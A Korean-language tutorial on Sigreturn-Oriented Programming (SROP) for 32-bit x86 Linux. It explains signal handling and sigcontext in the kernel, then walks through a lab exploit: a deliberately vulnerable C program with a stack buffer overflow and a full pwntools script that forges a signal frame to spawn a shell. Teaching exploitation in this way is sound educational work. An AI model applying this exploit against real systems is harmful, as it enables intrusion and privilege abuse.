SROP (x86)

SROP (Sigreturn-Oriented Programming) - x86

---

1. SROP ?

Sigreturn Oriented Programming 으로 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장하고 원하는 시스템 함수를 호출하는 공격기법이다. SROP 를 알아보기 전에 시그널에 대해 알아보자

 

 

2. 시그널 (Signal)

 1. 시그널 (Signal)

운영체제는 크게 유저 모드(User Mode)와 커널 모드(Kernel Mode) 로 나뉘어진다.

 

유저 모드(User Mode)

• 일반 프로그램이 실행되는 제한된 권한의 모드
• 하드웨어 직접 접근 불가
• 중요한 시스템 자원 접근 제한됨

커널 모드(Kernel Mode)

• 운영체제 핵심 코드가 실행되는 특권 모드
• 모든 하드웨어와 시스템 자원에 접근 가능
• 시스템의 중요한 작업을 처리

프로그램을 실행하는 모든 작업은 유저 모드와 커널 모드가 서로 상호작용하면서 이뤄진다.

 

시그널(signal)은 프로세스에 특정 정보를 전달하는 매개체로, SIGSEGV (Segmentation fault) 또한 시그널이다.

→ 정확히는 Segmentation fault 에러가 발생하면 해당 프로세스에 SIGEGV 시그널을 보내게 된다.

 

시그널은 보통 커널이 받게 되고 다음과 같은 이벤트 종류가 있다.

• 하드웨어 예외가 발생한 경우
• 사용자가 시그널을 발생시키는 터미널 특수 문자 중 하나를 입력한 경우(ctrl + c, ctrl + z)
• 소프트웨어 이벤트가 발생한 경우
  • 타이머 만료
  • 파일 디스크립터에 입력이 발생
  • 해당 프로세스의 자식 프로세스가 종료

 

리눅스에서는 다양한 시그널을 제공하는데, 리눅스 소스 코드에 정의된 시그널은 아래와 같다.

 *	+--------------------+------------------+
 *	|  POSIX signal      |  default action  |
 *	+--------------------+------------------+
 *	|  SIGHUP            |  terminate	|
 *	|  SIGINT            |	terminate	|
 *	|  SIGQUIT           |	coredump 	|
 *	|  SIGILL            |	coredump 	|
 *	|  SIGTRAP           |	coredump 	|
 *	|  SIGABRT/SIGIOT    |	coredump 	|
 *	|  SIGBUS            |	coredump 	|
 *	|  SIGFPE            |	coredump 	|
 *	|  SIGKILL           |	terminate(+)	|
 *	|  SIGUSR1           |	terminate	|
 *	|  SIGSEGV           |	coredump 	|
 *	|  SIGUSR2           |	terminate	|
 *	|  SIGPIPE           |	terminate	|
 *	|  SIGALRM           |	terminate	|
 *	|  SIGTERM           |	terminate	|
 *	|  SIGCHLD           |	ignore   	|
 *	|  SIGCONT           |	ignore(*)	|
 *	|  SIGSTOP           |	stop(*)(+)  	|
 *	|  SIGTSTP           |	stop(*)  	|
 *	|  SIGTTIN           |	stop(*)  	|
 *	|  SIGTTOU           |	stop(*)  	|
 *	|  SIGURG            |	ignore   	|
 *	|  SIGXCPU           |	coredump 	|
 *	|  SIGXFSZ           |	coredump 	|
 *	|  SIGVTALRM         |	terminate	|
 *	|  SIGPROF           |	terminate	|
 *	|  SIGPOLL/SIGIO     |	terminate	|
 *	|  SIGSYS/SIGUNUSED  |	coredump 	|
 *	|  SIGSTKFLT         |	terminate	|
 *	|  SIGWINCH          |	ignore   	|
 *	|  SIGPWR            |	terminate	|
 *	|  SIGRTMIN-SIGRTMAX |	terminate       |
 *	+--------------------+------------------+
 *	|  non-POSIX signal  |  default action  |
 *	+--------------------+------------------+
 *	|  SIGEMT            |  coredump	|
 *	+--------------------+------------------+

 

시그널은 생성되면 프로세스에 전달되고, 전달된 시그널의 종류에 따라 다음과 같은 동작이 실행된다

• 시그널 무시
• 프로세스 종료
• 코어 덤프 파일 생성 후 종료
• 프로세스  중지
• 프로세스 실행 재개

 

2. 시그널 동작 방식

시그널 핸들러(signal handler)는 유저 프로그램에서  signal(), sigaction() 등을 통해 핸들러 함수를 등록할 수 있다.

시그널이 발생하면 커널이 프로세스의 유저 스택에 시그널 프레임을 만들어놓고, 곧바로 핸들러 함수로 실행 흐름을 옮긴다.

→ 유저 코드가 실행 중일 때 시그널이 들어오면, 유저 코드 흐름이 시그널 핸들러 함수로 바뀌게 된다.

 

예제 코드를 통해 확인해보자

// Name: sig_alarm.c
// Compile: gcc -o sig_alarm sig_alarm.c 
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
#include<stdlib.h>
 
void sig_handler(int signum){
  printf("sig_handler called.\n");
  exit(0);
}
int main(){
  signal(SIGALRM,sig_handler);
  alarm(5);
  getchar();
  return 0;
}

 

signal 함수를 이용해 SIGALRM 시그널이 발생하면 sig_hander 함수를 호출한다. 

 

프로세스에서 이 과정을 처리하는 것 같지만 SIGALRM 시그널이 발생하면 커널모드로 진입한다.

시그널을 커널 모드에서 처리하고 나서 유저모드로 돌아와서 프로세스를 실행한다.

→ 유저 모드의 상태(메모리, 레지스터)를 기억하고 되돌아올 수 있어야 한다.

 

커널 모드에서는 유저 모드로 되돌아가는 상황을 고려해 유저 프로세스의 상태를 저장하는 코드가 구현되어 있다.

 

3. do_signal()

do_signal 함수는 커널에서 시그널을 처리하기 위해 제일 먼저 호출되는 함수이다.

• 리눅스 커널 5.10 이하 버전 → arch_do_signal
• 상위 버전 → arch_do_signal_or_restart

void arch_do_signal_or_restart(struct pt_regs *regs, bool has_signal)
{
	struct ksignal ksig;
	if (has_signal && get_signal(&ksig)) {
		/* Whee! Actually deliver the signal.  */
		handle_signal(&ksig, regs);
		return;
	}
	/* Did we come from a system call? */
	if (syscall_get_nr(current, regs) >= 0) {
		/* Restart the system call - no handlers present */
		switch (syscall_get_error(current, regs)) {
		case -ERESTARTNOHAND:
		case -ERESTARTSYS:
		case -ERESTARTNOINTR:
			regs->ax = regs->orig_ax;
			regs->ip -= 2;
			break;
		case -ERESTART_RESTARTBLOCK:
			regs->ax = get_nr_restart_syscall(regs);
			regs->ip -= 2;
			break;
		}
	}
	/*
	 * If there's no signal to deliver, we just put the saved sigmask
	 * back.
	 */
	restore_saved_sigmask();
}

arch_do_signal_or_restart 함수이다.

시그널이 발생했다면 커널에서 시그널에 대한 정보를 인자로  get_signal() 함수를 호출하여 해당 시그널에 대한 정보를 가져온다

 

get_siganl() 함수에서는 signal handler 가 등록되어 있는지 확인한다.

→ signal handler 가 등록되어 있다면 시그널에 대한 정보와 레지스터 정보를 인자로 handle_signal() 함수를 호출한다.

 

4. handle_signal()

시그널이 발생하면 커널은 유저모드의 실행 상태(레지스터, 스택)를 시그널 프레임의 형태로 저장한다

→ 이 작업은 handle_signal() 함수에 의해서 수행된다

 

그럼 이제 handle_signal() 함수에 대해 알아보자

static void
handle_signal(struct ksignal *ksig, struct pt_regs *regs)
{
    ...
	failed = (setup_rt_frame(ksig, regs) < 0);
	if (!failed) {
		fpu__clear_user_states(fpu);
	}
	signal_setup_done(failed, ksig, stepping);
}

handle_signal 함수의 일부이다.

 

1. 유저 모드 → 커널 모드

• 시그널이 발생하면 do_signal 함수에서 get_signal() 함수를 호출한다
• get_signal() 함수는 유저모드 signal handler 가 등록되어 있는지 확인하고
  등록되어 있다면 handle_signal() 함수를 호출한다
• handle_signal() 함수는 setup_rt_frame() 함수를 통해 유저 스택에 올바른 시그널 프레임을 구성한다

 

2. 커널모드 → 유저 모드

• sigreturn() 시스템 콜이 호출되어 시그널 프레임에 기록된 값을 바탕으로 유저 모드의 상태로 복귀한다

 

signal 동작 방식

 

 

2. Sigreturn

1. sigreturn

 setup_rt_frame() 함수를 통해 유저 스택에 올바른 시그널 프레임을 구성한 뒤에 signal handler 명령을 수행한다

 

signal handler 는 프로그래머가 signal() 또는 sigaction() 함수를 통해 등록한 함수이다.

특정 시그널이 발생했을 때 기본동작 대신 원하는 동작을 수행하도록 만든다

signal handler 는 유저 모드에서 실행되며, 유저 모드의 코드 세그먼트에 포함된다

 

signal handler 가 종료되면 sigreturn() 시스템 콜이 호출되어 시그널 프레임에 기록된 값을 바탕으로 유저 모드의 상태로 복귀한다

→ 이 때 stack을 복원하기 위해 사용되는 함수가 restore_sigcontext 이다

 

restore_sigcontext 함수에 대해 알아보자

static bool restore_sigcontext(struct pt_regs *regs,
			       struct sigcontext __user *usc,
			       unsigned long uc_flags)
{
	struct sigcontext sc;

	/* Always make any pending restarted system calls return -EINTR */
	current->restart_block.fn = do_no_restart_syscall;

	if (copy_from_user(&sc, usc, offsetof(struct sigcontext, reserved1)))
		return false;

	regs->bx = sc.bx;
	regs->cx = sc.cx;
	regs->dx = sc.dx;
	regs->si = sc.si;
	regs->di = sc.di;
	regs->bp = sc.bp;
	regs->ax = sc.ax;
	regs->sp = sc.sp;
	regs->ip = sc.ip;
	regs->r8 = sc.r8;
	regs->r9 = sc.r9;
	regs->r10 = sc.r10;
	regs->r11 = sc.r11;
	regs->r12 = sc.r12;
	regs->r13 = sc.r13;
	regs->r14 = sc.r14;
	regs->r15 = sc.r15;

	/* Get CS/SS and force CPL3 */
	regs->cs = sc.cs | 0x03;
	regs->ss = sc.ss | 0x03;

	regs->flags = (regs->flags & ~FIX_EFLAGS) | (sc.flags & FIX_EFLAGS);
	/* disable syscall checks */
	regs->orig_ax = -1;

	/*
	 * Fix up SS if needed for the benefit of old DOSEMU and
	 * CRIU.
	 */
	if (unlikely(!(uc_flags & UC_STRICT_RESTORE_SS) && user_64bit_mode(regs)))
		force_valid_ss(regs);

	return fpu__restore_sig((void __user *)sc.fpstate, 0);
}

restore_sigcontext() 함수는 copy_from_user() 함수를 이용하여 stack 에 저장된 값을 레지스터에 복사한다

→ 가젯이 없어도 sigreturn 함수를 이용해 레지스터에 원하는 값을 저장할 수 있다

 

코드를 살펴보면 sigcontext 구조체에 존재하는 각 멤버 변수에 있는 값을 레지스터에 넣는 것을 알 수 있다.

 

2. sigcontext

# ifdef __i386__
struct sigcontext {
	__u16				gs, __gsh;
	__u16				fs, __fsh;
	__u16				es, __esh;
	__u16				ds, __dsh;
	__u32				edi;
	__u32				esi;
	__u32				ebp;
	__u32				esp;
	__u32				ebx;
	__u32				edx;
	__u32				ecx;
	__u32				eax;
	__u32				trapno;
	__u32				err;
	__u32				eip;
	__u16				cs, __csh;
	__u32				eflags;
	__u32				esp_at_signal;
	__u16				ss, __ssh;
	struct _fpstate __user		*fpstate;
	__u32				oldmask;
	__u32				cr2;
};

https://elixir.bootlin.com/linux/v6.13.7/source/arch/x86/include/uapi/asm/sigcontext.h#L300

여기서 찾은 코드이다

sigcontext 의 x86 아키텍처에 해당하는 구조체이다

코드를 살펴보면 레지스터 명칭을 가진 각각의 멤버 변수가 존재하는 것을 볼 수 있다.

→ 이 구조체를 통해 sigreturn() 함수에서 유저 모드의 레지스터와 스택을 복구한다

 

만약 공격자가 가짜 시그널 프레임(fake sigcontext)를 스택에 넣어두면 

sigreturn() 호출 시 커널은 공격자가 만든 시그널 프레임을 불러오게 된다

→ 공격자가 레지스터의 값을 마음대로 조작할 수 있어 원하는 함수나 명령을 실행하도록 할 수 있다.

 

 

3. Exploit method

1. 코드 확인

SROP 는 sigreturn 시스템 콜을 이용한 ROP 기법이다.

sigreturn 시스템 콜을 호출하고 레지스터에 복사할 값을 미리 스택에 저장해 임의 코드를 실행할 수 있다.

→ 가젯이 없어도 모든 레지스터를 조작할 수 있다

 

// Name : srop32.c
// Compile : gcc -m32 -fno-stack-protector -z execstack -no-pie -o srop32 srop32.c -ldl

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
  
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}
  
void main(){
    seteuid(getuid());
    vuln();
}

BOF 가 일어나는 예제 코드로 실습해보자

 

checksec 으로 보호기법을 확인해보자

[*] '/home/gunp4ng/project/SF/srop/srop32'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

Partial RELO, NX-bit  보호기법이 걸려있는 것을 확인할 수 있다.

 

vuln 함수의 어셈블리를 확인해보자

Dump of assembler code for function vuln:
=> 0x080491b6 <+0>:     push   ebp
   0x080491b7 <+1>:     mov    ebp,esp
   0x080491b9 <+3>:     push   ebx
   0x080491ba <+4>:     sub    esp,0x44
   0x080491bd <+7>:     call   0x80490f0 <__x86.get_pc_thunk.bx>
   0x080491c2 <+12>:    add    ebx,0x2e3e
   0x080491c8 <+18>:    sub    esp,0x8
   0x080491cb <+21>:    lea    eax,[ebx-0x1ff8]
   0x080491d1 <+27>:    push   eax
   0x080491d2 <+28>:    push   0xffffffff
   0x080491d4 <+30>:    call   0x8049090 <dlsym@plt>
   0x080491d9 <+35>:    add    esp,0x10
   0x080491dc <+38>:    mov    DWORD PTR [ebp-0xc],eax
   0x080491df <+41>:    sub    esp,0x8
   0x080491e2 <+44>:    push   DWORD PTR [ebp-0xc]
   0x080491e5 <+47>:    lea    eax,[ebx-0x1ff1]
   0x080491eb <+53>:    push   eax
   0x080491ec <+54>:    call   0x8049060 <printf@plt>
   0x080491f1 <+59>:    add    esp,0x10
   0x080491f4 <+62>:    sub    esp,0x4
   0x080491f7 <+65>:    push   0x100
   0x080491fc <+70>:    lea    eax,[ebp-0x3e]
   0x080491ff <+73>:    push   eax
   0x08049200 <+74>:    push   0x0
   0x08049202 <+76>:    call   0x8049050 <read@plt>
   0x08049207 <+81>:    add    esp,0x10
   0x0804920a <+84>:    nop
   0x0804920b <+85>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x0804920e <+88>:    leave
   0x0804920f <+89>:    ret
End of assembler dump.

• buf : ebp - 0x3e

buf + SFP(66) 만큼 입력하면 RET 영역을 덮어씌울 수 있다

 

2. 공격 순서

• sigreturn() 함수를 이용해 레지스터에 원하는 값을 저장한다
  • esp → sigreturn() 함수 호출 후 이동할 주소(int 0x80 명령어가 저장된 주소)
  • ebx → "/bin/sh" 문자열이 저장된 주소
  • eax → execve() 함수의 시스템 콜 번호 (11)
  • eip → int 0x80 명령어가 저장된 주소
  • cs → (user code) 0x23
  • ss → (user data) 0x2b
• int 0x80 명령어 실행

32bit 환경에서 execve 시스템콜의 번호는 11 (0xb) 이다

 

sigcontext 구조체 형태로 stack 에 값을 저장할 때 cs, ss 레지스터에 대한 값을 설정해야 한다

32bit 운영체제에서는 0x73, 0x7b 가 사용된다.

64bit 운영체제에서 실행되는 32bit 프로그램의 경우에는 0x23, 0x2b 가 사용된다.

 

따라서 cs 는 0x23, ss는 0x2b 로 설정하면 된다

 

공격 순서를 코드로 표현을 하면 다음과 같다

sigreturn()
int 0x80

 

3. 필요한 정보 구하기

• __kernel_sigreturn() 함수의 주소
• "/bin/sh" 문자열이 저장된 영역
• int 0x80 가젯

위의 3개의 정보를 알아야 한다

 

리눅스 커전 버전에 따른 시스템 콜 가젯 위치

리눅스 커널버전, 아키텍처에 따라 시스템콜 가젯의 위치가 달라진다

 

테스트 프로그램이 32bit 이기 때문에 sigreturn() 함수를 vdso 영역에서 구할 수 있다

먼저 __kernel_sigreturn 함수의 주소이다

__kernel_sigreturn

__kernel_sigreturn 함수의 주소는 0xf7fc4560이다

 

int 0x80

__kernel_sigreturn 을 살펴보자

0xf7fc4560 주소를 사용할 경우 pop eax 가 포함되어 있기 때문에 호출 뒤에 임의의 값이 저장되어야 한다.

• __kernel_sigreturn + 4byte + sigcontext

0xf7fc4561 주소를 사용할 경우 mov eax, 0x77 명령어가 실행되기 때문에 호출 뒤에 sigcontext 가 저장되어야 한다

0x77 은 32비트에서 sigreturn 시스템 콜 번호이다.

• __kernel_sigreturn + sigcontext

__kernel_sigreturn 의 주소로 0xf7fc4561 을 사용하자

int 80 의 주소는 0xf7fc4566 이다

 

vmmap

메모리 영역을 확인해보면 vdso 는 0xf7fc4000~0xf7fc6000 인 것을 알 수 있다

__kernel_sigreturn() 주소는 0xf7fc4560 로 vdso 영역에 있는 것을 볼 수 있다

 

"/bin/sh"

"/bin/sh" 문자열이 저장된 주소는 0xf7f3e0d5 이다

 

4. sigcontext (fake signal frame) 구성

# ifdef __i386__
struct sigcontext {
    __u16               gs, __gsh;
    __u16               fs, __fsh;
    __u16               es, __esh;
    __u16               ds, __dsh;
    __u32               edi;
    __u32               esi;
    __u32               ebp;
    __u32               esp;
    __u32               ebx;
    __u32               edx;
    __u32               ecx;
    __u32               eax;
    __u32               trapno;
    __u32               err;
    __u32               eip;
    __u16               cs, __csh;
    __u32               eflags;
    __u32               esp_at_signal;
    __u16               ss, __ssh;
    struct _fpstate __user      *fpstate;
    __u32               oldmask;
    __u32               cr2;
};

32bit 환경의 sigcontext 이다

 

위의 정보를 바탕으로 signal frame 을 구성해보자

payload += p32(0)       	#gs
payload += p32(0)       	#fs
payload += p32(0)       	#es
payload += p32(0)       	#ds
payload += p32(0)       	#edi;
payload += p32(0)       	#esi;
payload += p32(0)       	#ebp;
payload += p32(int80)  	    #esp;
payload += p32(binsh)   	#ebx;
payload += p32(0)       	#edx;
payload += p32(0)       	#ecx;
payload += p32(0xb)       	#eax;
payload += p32(0)       	#trapno;
payload += p32(0)       	#err;
payload += p32(int80)  	    #eip;
payload += p32(0x23)    	#cs
payload += p32(0)       	#eflags
payload += p32(0)       	#esp_at_signal
payload += p32(0x2b)    	#ss

• esp → sigreturn() 함수 호출 후 이동할 주소(int 0x80 명령어가 저장된 주소)
• ebx → "/bin/sh" 문자열이 저장된 주소
• eax → execve() 함수의 시스템 콜 번호 (11)
• eip → int 0x80 명령어가 저장된 주소
• cs → (user code) 0x23
• ss → (user data) 0x2b

필요한 레지스터만 설정하고 나머지는 오류를 방지하기 위해 0으로 설정해주었다

 

 

5. 페이로드 구성

from pwn import *

context.log_level = 'debug'
context(arch='i386', os='linux')

p = process('./srop32')

sigreturn = 0xf7fc4561
binsh = 0xf7f3e0d5
int80 = 0xf7fc4566

payload = b'\x90' * 66     # buf + SFP
payload += p32(sigreturn)     # RET 
payload += p32(0)       	#gs
payload += p32(0)       	#fs
payload += p32(0)       	#es
payload += p32(0)       	#ds
payload += p32(0)       	#edi;
payload += p32(0)       	#esi;
payload += p32(0)       	#ebp;
payload += p32(int80)    	#esp;
payload += p32(binsh)   	#ebx;
payload += p32(0)       	#edx;
payload += p32(0)       	#ecx;
payload += p32(0xb)       	#eax;
payload += p32(0)       	#trapno;
payload += p32(0)       	#err;
payload += p32(int80)  	    #eip;
payload += p32(0x23)    	#cs
payload += p32(0)       	#eflags
payload += p32(0)       	#esp_at_signal
payload += p32(0x2b)    	#ss

# pause()

p.send(payload)

p.interactive()

작성한 페이로드는 다음과 같다

 

셸을 얻은 것을 확인할 수 있다